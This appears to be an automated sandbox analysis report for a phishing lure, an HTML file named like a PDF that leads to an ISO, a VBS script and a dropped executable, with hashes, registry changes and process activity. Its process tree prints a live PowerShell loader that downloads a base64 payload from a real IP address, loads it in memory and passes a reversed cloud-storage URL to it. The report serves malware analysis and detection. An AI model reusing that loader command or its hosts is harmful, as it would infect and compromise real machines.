Analysis
-
max time kernel
206s -
max time network
208s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
30-09-2022 14:36
Static task
static1
Behavioral task
behavioral1
Sample
URFT06GSBAWRP_001_PDF.html
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
URFT06GSBAWRP_001_PDF.html
Resource
win10v2004-20220812-en
General
-
Target
URFT06GSBAWRP_001_PDF.html
-
Size
198B
-
MD5
497443cc310648bda5f2a737147b8e7e
-
SHA1
8b97df0f61c01d75dcc8c47f3a147f24a81538b9
-
SHA256
22670bbf031cb76a3d98d4fe13e60fa0412401f4b40bc94e186048ddbf63ac26
-
SHA512
bf19a9c3c6f3a0a118d3f425f00308b2478c1f11eb0ae9028a5c1891e1b71276aaae3b9eb8f6750df8345378820d69046563ceb94963e64ca8776e05d9cad641
Malware Config
Extracted
http://20.7.14.99/dll/dll_ink.pdf
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 37 1112 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
URFT06GSBAWRP_001_PDF.exepid process 1096 URFT06GSBAWRP_001_PDF.exe -
Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs
Processes:
iexplore.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\PhishingFilter iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\PhishingFilter\ClientSupported_MigrationTime = 308c4fd2ead4d801 iexplore.exe -
Processes:
iexplore.exeIEXPLORE.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "371320766" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TypedURLsTime\url4 = 0000000000000000 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TypedURLsTime\url5 = 0000000000000000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TypedURLs\url4 = "https://signin.ebay.com/ws/ebayisapi.dll" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TypedURLs\url5 = "https://login.live.com/" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{097FEF11-40DE-11ED-8F62-626C2AE6DC56} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\NotifyDownloadComplete = "yes" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TypedURLsTime\url3 = 0000000000000000 iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TypedURLs\url1 = "file:///C:/Users/Admin/AppData/Local/Temp/URFT06GSBAWRP_001_PDF.html" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TypedURLs\url3 = "https://login.aliexpress.com/" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TypedURLs iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TypedURLsTime\url1 = d0651f1aebd4d801 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TypedURLsTime\url6 = 0000000000000000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TypedURLsTime iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TypedURLs\url2 = "https://www.facebook.com/" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TypedURLsTime\url2 = 0000000000000000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TypedURLs\url6 = "https://twitter.com/" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1112 powershell.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
Processes:
AUDIODG.EXE7zG.exepowershell.exedescription pid process Token: 33 952 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 952 AUDIODG.EXE Token: 33 952 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 952 AUDIODG.EXE Token: SeRestorePrivilege 556 7zG.exe Token: 35 556 7zG.exe Token: SeSecurityPrivilege 556 7zG.exe Token: SeSecurityPrivilege 556 7zG.exe Token: SeDebugPrivilege 1112 powershell.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
Processes:
iexplore.exe7zG.exepid process 1564 iexplore.exe 1564 iexplore.exe 1564 iexplore.exe 556 7zG.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
iexplore.exeIEXPLORE.EXEpid process 1564 iexplore.exe 1564 iexplore.exe 2004 IEXPLORE.EXE 2004 IEXPLORE.EXE 2004 IEXPLORE.EXE 2004 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
iexplore.exeWScript.exedescription pid process target process PID 1564 wrote to memory of 2004 1564 iexplore.exe IEXPLORE.EXE PID 1564 wrote to memory of 2004 1564 iexplore.exe IEXPLORE.EXE PID 1564 wrote to memory of 2004 1564 iexplore.exe IEXPLORE.EXE PID 1564 wrote to memory of 2004 1564 iexplore.exe IEXPLORE.EXE PID 1564 wrote to memory of 680 1564 iexplore.exe isoburn.exe PID 1564 wrote to memory of 680 1564 iexplore.exe isoburn.exe PID 1564 wrote to memory of 680 1564 iexplore.exe isoburn.exe PID 112 wrote to memory of 1112 112 WScript.exe powershell.exe PID 112 wrote to memory of 1112 112 WScript.exe powershell.exe PID 112 wrote to memory of 1112 112 WScript.exe powershell.exe
Processes
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\AppData\Local\Temp\URFT06GSBAWRP_001_PDF.html1⤵
- Modifies Internet Explorer Phishing Filter
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1564 CREDAT:275457 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\isoburn.exe"C:\Windows\System32\isoburn.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XB6YKGN8\URFT06GSBAWRP_001_PDF.ISO"2⤵
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x16c1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\URFT06GSBAWRP_001_PDF\" -spe -an -ai#7zMap23439:104:7zEvent192161⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\URFT06GSBAWRP_001_PDF\RQK02HVBPO_002_PDF.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('9a82ea0d2fb5-1179-4854-75ce-8a89ca37=nekot&aidem=tla?txt.cnysay/o/moc.topsppa.483ca-dpoj/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Downloads\URFT06GSBAWRP_001_PDF\URFT06GSBAWRP_001_PDF.exe"C:\Users\Admin\Downloads\URFT06GSBAWRP_001_PDF\URFT06GSBAWRP_001_PDF.exe"1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015Filesize
60KB
MD5d15aaa7c9be910a9898260767e2490e1
SHA12090c53f8d9fc3fbdbafd3a1e4dc25520eb74388
SHA256f8ebaaf487cba0c81a17c8cd680bdd2dd8e90d2114ecc54844cffc0cc647848e
SHA5127e1c1a683914b961b5cc2fe5e4ae288b60bab43bfaa21ce4972772aa0589615c19f57e672e1d93e50a7ed7b76fbd2f1b421089dcaed277120b93f8e91b18af94
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357Filesize
1KB
MD5a266bb7dcc38a562631361bbf61dd11b
SHA13b1efd3a66ea28b16697394703a72ca340a05bd5
SHA256df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
SHA5120da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015Filesize
342B
MD5ce57dadd620a2877d454da90c3344eac
SHA1d3cd77f8cadb5d00b9a6c1cddbe2b2d42fddc5ec
SHA25669060ccaf86b6db1e9076adacde082937e7d51fba129892e069ad2936cf5262e
SHA512b7c735faf3bee993280b6903c715d80dad7f8752284f388fb62f7eb2beeaa898a42c61f8071006c963dc57954bc741a35022ceb23d79a59d0eb4b5cd2773ab8d
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357Filesize
242B
MD5ef4a8666488e25f8d05b2e3223eda571
SHA1826825f6ecbef26ae46b2b007db545a7db2ae261
SHA2567aababea875a1721c2513a8a83174b6a7fc3a41dfa44c1e3f1aa592544e5b5de
SHA512bad295ff1301820f62bda1be7b8dce93a3fd06b88eba5e1c803cf5e5aa781192ec78c631815ef5f1a71b43119206b3ba12c4a8afc16eb2309d12bb8dfc1ae8a1
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XB6YKGN8\URFT06GSBAWRP_001_PDF.ISO.lj2t37e.partialFilesize
300.8MB
MD537dc1aa37c82b73e59376f88fc2c3e8f
SHA18811fee5c76b96fe8e05bca588987daca34d1254
SHA256f04488660b3ccf2ac4cede57a6a11cee34fe1125183c9ca7474382e3cc1d7050
SHA51259c26259b582c181c2c188821cac344706c6b8b09156696b9ecbeaf0cb140dc977484754412d5e11c07ef905502c44eaffd3b7c1d9137cb12b76134172e459f5
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\N0DDJLUM.txtFilesize
608B
MD52ecf5de5b963aced0b50e82ab682cc3e
SHA1e903b342aa1652568c136a188c4c7868780ab0ee
SHA2565ed596ee0f16d960fc4c68d8d0bd12bfe4e540a08f74292db03f2eec2c143e1d
SHA512e2c8266b5256c19fa1ab6a2e7793db34ca1390f384e2266ab2b52b968ffbc2ed4e1a923ab42ff28a40819cf44192320488bed897ba6bbd07913d91140ce973fa
-
C:\Users\Admin\Downloads\URFT06GSBAWRP_001_PDF.ISO.n29o7bl.partialFilesize
300.8MB
MD537dc1aa37c82b73e59376f88fc2c3e8f
SHA18811fee5c76b96fe8e05bca588987daca34d1254
SHA256f04488660b3ccf2ac4cede57a6a11cee34fe1125183c9ca7474382e3cc1d7050
SHA51259c26259b582c181c2c188821cac344706c6b8b09156696b9ecbeaf0cb140dc977484754412d5e11c07ef905502c44eaffd3b7c1d9137cb12b76134172e459f5
-
C:\Users\Admin\Downloads\URFT06GSBAWRP_001_PDF\RQK02HVBPO_002_PDF.vbsFilesize
219KB
MD586d9cdbe85e0b345c00063cb59efda75
SHA16990625fff03cdc505a7c9a224c39fb9c1b1ab80
SHA256541752eae29c171bb8ab3f5851b6f58ba58035298b8781990998d22cd4982f6e
SHA5120f39d5b741cb5fc822f17306537a4659c5ff191f18ef47e18aa3f604eb9d4598f1c01316068285531916a57bd0410b27fd8d44adb3bda41ee691098cd5b1bc2f
-
C:\Users\Admin\Downloads\URFT06GSBAWRP_001_PDF\URFT06GSBAWRP_001_PDF.exeFilesize
97.7MB
MD5e5c6ea76cf6badaa5ba4d382ce895266
SHA12b32a9c2b87d8c41629708f283988b266a48e9d7
SHA2562f489ee55d5322cc6717e6ff690da0675601159b3e3de0b12142aa300862a161
SHA512d9ff4e39c578bf8fbfafed5ae78181fdfe887659dcf3e2278abf517fd81701559817a0ee98107a966fd47d5159ef0da3fddce6295c6d13474a45d1e256a5c0a5
-
C:\Users\Admin\Downloads\URFT06GSBAWRP_001_PDF\URFT06GSBAWRP_001_PDF.exeFilesize
95.5MB
MD54272544d6b59dfcbc7bdca819416fc0e
SHA14a7db0d89b2ce3ec6c56a2475c64ec59e7f28bee
SHA256dd5882295358dcdf2508567dfca058b192316f4052375caf909e57a1e87cf340
SHA5120b34b2f83dc9fe6cde2f8c84340d434eb5524f43305e288d1591604fe6222112e3347677a6c7a9f12a8c819aab6d3bbdea973ed1af23af164ad67e66fc78208e
-
memory/680-55-0x0000000000000000-mapping.dmp
-
memory/680-56-0x000007FEFBCE1000-0x000007FEFBCE3000-memory.dmpFilesize
8KB
-
memory/1096-72-0x0000000075FB1000-0x0000000075FB3000-memory.dmpFilesize
8KB
-
memory/1096-71-0x0000000001370000-0x00000000013A2000-memory.dmpFilesize
200KB
-
memory/1112-73-0x000007FEEE2E0000-0x000007FEEED03000-memory.dmpFilesize
10.1MB
-
memory/1112-69-0x0000000000000000-mapping.dmp
-
memory/1112-74-0x000007FEED780000-0x000007FEEE2DD000-memory.dmpFilesize
11.4MB
-
memory/1112-75-0x0000000002514000-0x0000000002517000-memory.dmpFilesize
12KB
-
memory/1112-76-0x000000001B6F0000-0x000000001B9EF000-memory.dmpFilesize
3.0MB
-
memory/1112-77-0x000000000251B000-0x000000000253A000-memory.dmpFilesize
124KB
-
memory/1112-78-0x0000000002514000-0x0000000002517000-memory.dmpFilesize
12KB
-
memory/1112-79-0x000000000251B000-0x000000000253A000-memory.dmpFilesize
124KB